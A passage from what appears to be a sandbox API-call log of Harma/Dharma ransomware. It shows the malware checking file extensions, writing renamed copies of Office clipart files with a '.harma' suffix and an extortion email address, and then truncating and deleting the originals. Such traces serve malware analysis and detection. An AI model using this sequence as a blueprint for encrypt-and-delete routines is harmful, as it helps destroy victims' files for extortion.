lstrlenW (lpString=".xls") returned 4 [0158.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.783] lstrlenW (lpString=".xlsx") returned 5 [0158.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.783] lstrlenW (lpString=".ppt") returned 4 [0158.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.783] lstrlenW (lpString=".zip") returned 4 [0158.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.783] lstrlenW (lpString=".rar") returned 4 [0158.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.783] lstrlenW (lpString=".bz2") returned 4 [0158.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.783] lstrlenW (lpString=".7z") returned 3 [0158.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.784] lstrlenW (lpString=".dbf") returned 4 [0158.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.784] lstrlenW (lpString=".1cd") returned 4 [0158.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.784] lstrlenW (lpString=".jpg") returned 4 [0158.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.784] lstrlenW (lpString=".doc") returned 4 [0158.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.784] lstrlenW (lpString=".docx") returned 5 [0158.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.784] lstrlenW (lpString=".pdf") returned 4 [0158.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.784] lstrlenW (lpString=".xls") returned 4 [0158.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.784] lstrlenW (lpString=".xlsx") returned 5 [0158.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.784] lstrlenW (lpString=".ppt") returned 4 [0158.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.784] lstrlenW (lpString=".zip") returned 4 [0158.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.785] lstrlenW (lpString=".rar") returned 4 [0158.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.785] lstrlenW (lpString=".bz2") returned 4 [0158.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.785] lstrlenW (lpString=".7z") returned 3 [0158.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.785] lstrlenW (lpString=".dbf") returned 4 [0158.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.785] lstrlenW (lpString=".1cd") returned 4 [0158.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.785] lstrlenW (lpString=".jpg") returned 4 [0158.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.785] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.785] lstrlenW (lpString="HH02155_.WMF") returned 12 [0158.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.786] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2704) returned 1 [0158.786] CloseHandle (hObject=0x380) returned 1 [0158.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0158.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.786] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.786] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.787] GetLastError () returned 0x0 [0158.787] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xa90, lpOverlapped=0x0) returned 1 [0158.854] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xaa0, lpOverlapped=0x0) returned 1 [0158.855] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.855] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.855] SetEndOfFile (hFile=0x350) returned 1 [0158.856] CloseHandle (hObject=0x350) returned 1 [0158.856] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.856] SetEndOfFile (hFile=0x380) returned 1 [0158.858] CloseHandle (hObject=0x380) returned 1 [0158.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0158.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.859] lstrlenW (lpString=".doc") returned 4 [0158.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.860] lstrlenW (lpString=".docx") returned 5 [0158.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.860] lstrlenW (lpString=".pdf") returned 4 [0158.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.860] lstrlenW (lpString=".xls") returned 4 [0158.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.860] lstrlenW (lpString=".xlsx") returned 5 [0158.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.860] lstrlenW (lpString=".ppt") returned 4 [0158.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.860] lstrlenW (lpString=".zip") returned 4 [0158.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.860] lstrlenW (lpString=".rar") returned 4 [0158.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.860] lstrlenW (lpString=".bz2") returned 4 [0158.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.860] lstrlenW (lpString=".7z") returned 3 [0158.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.860] lstrlenW (lpString=".dbf") returned 4 [0158.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.860] lstrlenW (lpString=".1cd") returned 4 [0158.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.860] lstrlenW (lpString=".jpg") returned 4 [0158.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.861] lstrlenW (lpString=".doc") returned 4 [0158.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.861] lstrlenW (lpString=".docx") returned 5 [0158.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.861] lstrlenW (lpString=".pdf") returned 4 [0158.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.861] lstrlenW (lpString=".xls") returned 4 [0158.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.861] lstrlenW (lpString=".xlsx") returned 5 [0158.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.861] lstrlenW (lpString=".ppt") returned 4 [0158.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.861] lstrlenW (lpString=".zip") returned 4 [0158.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.861] lstrlenW (lpString=".rar") returned 4 [0158.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.861] lstrlenW (lpString=".bz2") returned 4 [0158.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.861] lstrlenW (lpString=".7z") returned 3 [0158.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.861] lstrlenW (lpString=".dbf") returned 4 [0158.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.861] lstrlenW (lpString=".1cd") returned 4 [0158.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0158.861] lstrlenW (lpString=".jpg") returned 4 [0158.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.862] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.862] lstrlenW (lpString="HH02312_.WMF") returned 12 [0158.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.911] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4970) returned 1 [0158.911] CloseHandle (hObject=0x388) returned 1 [0158.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0158.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0158.919] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.919] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.920] GetLastError () returned 0x0 [0158.920] ReadFile (in: hFile=0x210, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x136a, lpOverlapped=0x0) returned 1 [0158.923] WriteFile (in: hFile=0x388, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0158.924] ReadFile (in: hFile=0x210, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.924] WriteFile (in: hFile=0x388, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.924] SetEndOfFile (hFile=0x388) returned 1 [0158.924] CloseHandle (hObject=0x388) returned 1 [0158.924] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.924] SetEndOfFile (hFile=0x210) returned 1 [0158.927] CloseHandle (hObject=0x210) returned 1 [0158.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0158.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.928] lstrlenW (lpString=".doc") returned 4 [0158.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.928] lstrlenW (lpString=".docx") returned 5 [0158.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.928] lstrlenW (lpString=".pdf") returned 4 [0158.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.928] lstrlenW (lpString=".xls") returned 4 [0158.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.928] lstrlenW (lpString=".xlsx") returned 5 [0158.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.928] lstrlenW (lpString=".ppt") returned 4 [0158.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.928] lstrlenW (lpString=".zip") returned 4 [0158.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.928] lstrlenW (lpString=".rar") returned 4 [0158.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.928] lstrlenW (lpString=".bz2") returned 4 [0158.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.929] lstrlenW (lpString=".7z") returned 3 [0158.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.929] lstrlenW (lpString=".dbf") returned 4 [0158.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.929] lstrlenW (lpString=".1cd") returned 4 [0158.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.929] lstrlenW (lpString=".jpg") returned 4 [0158.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.929] lstrlenW (lpString=".doc") returned 4 [0158.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.929] lstrlenW (lpString=".docx") returned 5 [0158.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.929] lstrlenW (lpString=".pdf") returned 4 [0158.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.929] lstrlenW (lpString=".xls") returned 4 [0158.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.929] lstrlenW (lpString=".xlsx") returned 5 [0158.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.929] lstrlenW (lpString=".ppt") returned 4 [0158.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.929] lstrlenW (lpString=".zip") returned 4 [0158.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.930] lstrlenW (lpString=".rar") returned 4 [0158.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.930] lstrlenW (lpString=".bz2") returned 4 [0158.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.930] lstrlenW (lpString=".7z") returned 3 [0158.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.930] lstrlenW (lpString=".dbf") returned 4 [0158.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.930] lstrlenW (lpString=".1cd") returned 4 [0158.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0158.930] lstrlenW (lpString=".jpg") returned 4 [0158.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.930] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.930] lstrlenW (lpString="HH02313_.WMF") returned 12 [0158.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0158.931] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3082) returned 1 [0158.931] CloseHandle (hObject=0x210) returned 1 [0158.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0158.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0158.931] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.932] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.933] GetLastError () returned 0x0 [0158.933] ReadFile (in: hFile=0x210, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xc0a, lpOverlapped=0x0) returned 1 [0159.392] WriteFile (in: hFile=0x388, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xc10, lpOverlapped=0x0) returned 1 [0159.394] ReadFile (in: hFile=0x210, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.394] WriteFile (in: hFile=0x388, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.394] SetEndOfFile (hFile=0x388) returned 1 [0159.394] CloseHandle (hObject=0x388) returned 1 [0159.394] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.394] SetEndOfFile (hFile=0x210) returned 1 [0159.396] CloseHandle (hObject=0x210) returned 1 [0159.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0159.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.399] lstrlenW (lpString=".doc") returned 4 [0159.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.399] lstrlenW (lpString=".docx") returned 5 [0159.399] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.399] lstrlenW (lpString=".pdf") returned 4 [0159.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.399] lstrlenW (lpString=".xls") returned 4 [0159.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.399] lstrlenW (lpString=".xlsx") returned 5 [0159.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.399] lstrlenW (lpString=".ppt") returned 4 [0159.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.399] lstrlenW (lpString=".zip") returned 4 [0159.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.399] lstrlenW (lpString=".rar") returned 4 [0159.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.399] lstrlenW (lpString=".bz2") returned 4 [0159.399] lstrcmpiW (lpString1=".bz2", 